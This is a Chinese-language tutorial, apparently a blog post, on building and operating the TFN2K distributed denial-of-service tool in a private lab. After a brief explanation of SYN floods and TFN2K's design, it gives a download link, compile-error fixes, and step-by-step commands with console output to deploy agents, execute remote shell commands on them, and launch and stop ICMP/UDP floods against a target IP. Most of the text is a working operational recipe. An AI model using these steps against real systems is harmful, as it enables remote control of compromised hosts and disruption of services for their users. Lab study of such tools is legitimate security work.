拒绝服务攻击-tfn2k

拒绝服务攻击简介:

拒绝服务攻击(DOS,Denial Of Service)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成的dos,可能性非常小,更多的是恶意的攻 击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,Distributed Denial Of Service),利用更多的代理集中攻击目标,其危害更大。

一、tcp syn flood

1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器,此数据包内包含客户端端口及tcp序列号等基本信息。 
    2.服务器(server)接收到SYN包之后,将发送一个SYN-ACK包来确认。 
    3.客户端在收到服务器的SYN-ACK包之后,将回送ACK至服务器,服务器如接收到此包,则TCP连接建立完成,双方可以进行通讯

问题就出在第3步,如果服务器收不到客户端的ACK包,将会等待下去,这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系统不同),如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝。


二.tfn2k 攻击原理

1.tfn2k的攻击体系

主控端---运行tfn客户端,来遥控并指定攻击目标

  代理端---被植入并运行td进程的牺牲品,接受tfn的指挥,攻击的实施者.需要注意的是,一个攻击者,往往控制多台代理来完成攻击,而且其系统多为unix,linux

目标主机---被攻击的主机或网络

2.tfn2k特性

◆ 主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、 ICMP/PING、混合攻击、TARGA3等。
    ◆ 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会逆向向主控端发送任何信息. 
    ◆ 所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. 
    ◆ 利用td进程,主控端可以远程执行shell命令. 
    ◆ td进程的名称可以在编译时更改,更便于隐藏. 
    ◆ tfn可以编译运行于win32及linux系统的.

操作步骤:

1、下载工具包tfn2k.tgz:http://www.xfocus.net/tools/200405/697.html

2、tar zxvf tfn2k.tgz

3、cd tfn2k/src, make

如果出现如下错误提示:disc.c: 在函数‘main’中:
disc.c:24:5: 警告: 隐式声明函数‘exit’ [-Wimplicit-function-declaration]
disc.c:24:5: 警告: 隐式声明与内建函数‘exit’不兼容 [默认启用],

解决办法就是在disc.c中添加头文件,stdlib.h

如果出现如下错误提示:在函数‘open’中,
    内联自‘main’于 disc.c:30:13:
/usr/include/i386-linux-gnu/bits/fcntl2.h:50:24: 错误: 调用‘__open_missing_mode’,声明有错误属性:open with O_CREAT in second argument needs 3 arguments
make: *** [disc] 错误 1

解决办法是:  修改disc.c将 close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC))改为  close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC, 0777));保存退出,重新编译。

4、 如果遇到如下错误提示:
在函数‘open’中,
    内联自‘main’于 mkpass.c:87:6:
/usr/include/i386-linux-gnu/bits/fcntl2.h:50:24: 错误: 调用‘__open_missing_mode’,声明有错误属性:open with O_CREAT in second argument needs 3 arguments
make: *** [mkpass] 错误 1
修改,mkpass.c,将 fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT);改为 fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT, 0777);

如果遇到如下错误提示:ip.h:124:8: 错误: ‘struct in_addr’重定义

则修改ip.h将下面这段注释掉
 
/*
#ifndef in_addr
struct in_addr

  {
    unsigned long int s_addr;
  };
#endif
*/

5、make,根据提示输入密码

6、运行成功后生成了tfn、td两个文件,建立一个文本文件,设置主控、从控、被攻击的机器的IP

vi host_tfn

192.168.2.66
192.168.2.166(主控)
192.168.2.50

7、在主控机上用root,允许td,root      6010     1  0 10:05 pts/0    00:00:00 tfn-daemon运行成功

8、ftd td到从控机,运行td(已经提升到root权限),试验主从通信是否正常:

root@dt:/home/cos/桌面/tfn2k/src# ./tfn -f host_tfn -c 10 -i "mkdir aa"

    Protocol      : random
    Source IP     : random
    Client input  : list
    Command       : execute remote command
Password verification:

Sending out packets: ...

如果通信正常,那么从控机应该在src目录下面已经被建立了一个文件aa


9、在主控机上允许tfn,发起攻击:./tfn -f host_tfn -c 6 -i 192.168.2.166
即让从控机向192.168.2.166的主机发起ping 攻击

root@dt:/home/cos/桌面/tfn2k/src# ./tfn -f host_tfn -c 6 -i  192.168.2.166

    Protocol      : random
    Source IP     : random
    Client input  : list
    Target(s)     : 192.168.2.166
    Command       : commence icmp echo flood

Password verification:

Sending out packets: ...


另外./tfn -f host_tfn -c 6 -i 192.168.2.166即让从控机向192.168.2.166的主机发起UDP flood 攻击

10、关闭攻击:./tfn -f host_tfn -c 0

root@dt:/home/cos/桌面/tfn2k/src# ./tfn -f host_tfn -c 0

    Protocol      : random
    Source IP     : random
    Client input  : list
    Command       : stop flooding

Password verification:

Sending out packets: ..


 实际结果:在被攻击的机器上面抓包分析:tcpdump dst host 192.168.2.166,  发现很多随机IP给该机器发送数据包,关闭攻击后,就没有大量的随机IP给机器发报文了。

注意:主控和从控机器都是32位系统,被攻击的机器是64位。


你可能感兴趣的:(软件测试-网络安全)